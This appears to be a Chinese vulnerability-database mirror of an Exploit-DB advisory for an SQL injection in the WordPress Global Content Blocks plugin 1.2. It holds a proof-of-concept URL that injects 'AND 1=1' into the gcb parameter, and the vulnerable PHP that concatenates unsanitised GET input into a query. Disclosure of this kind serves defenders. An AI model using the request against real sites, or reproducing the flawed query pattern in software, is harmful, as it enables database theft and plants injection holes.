WordPress Plugin Global Content Blocks 1.2 - SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1062922 漏洞类型
发布时间 2011-08-18 更新时间 2011-08-18
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/17687
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
# Exploit Title: WordPress Global Content Blocks plugin <= 1.2 SQL Injection Vulnerability
# Date: 2011-08-18
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/global-content-blocks.1.2.zip
# Version: 1.2 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/global-content-blocks/gcb/gcb_export.php?gcb=1 AND 1=1

---------------
Vulnerable code
---------------
$ids = explode(";",$_GET["gcb"]);
$final_text = array();

foreach($ids as $id) {
    if(intval($id)>0) { // intval("1a") => 1 :)
        $entry = $wpdb->get_row("select * from ".$wpdb->prefix."gcb where id=".$id);
        $final_text[] =
        base64_encode($entry->name)."<;>".
        base64_encode($entry->description)."<;>".
        base64_encode($entry->value)."<;>".
        base64_encode($entry->type);        
    }
}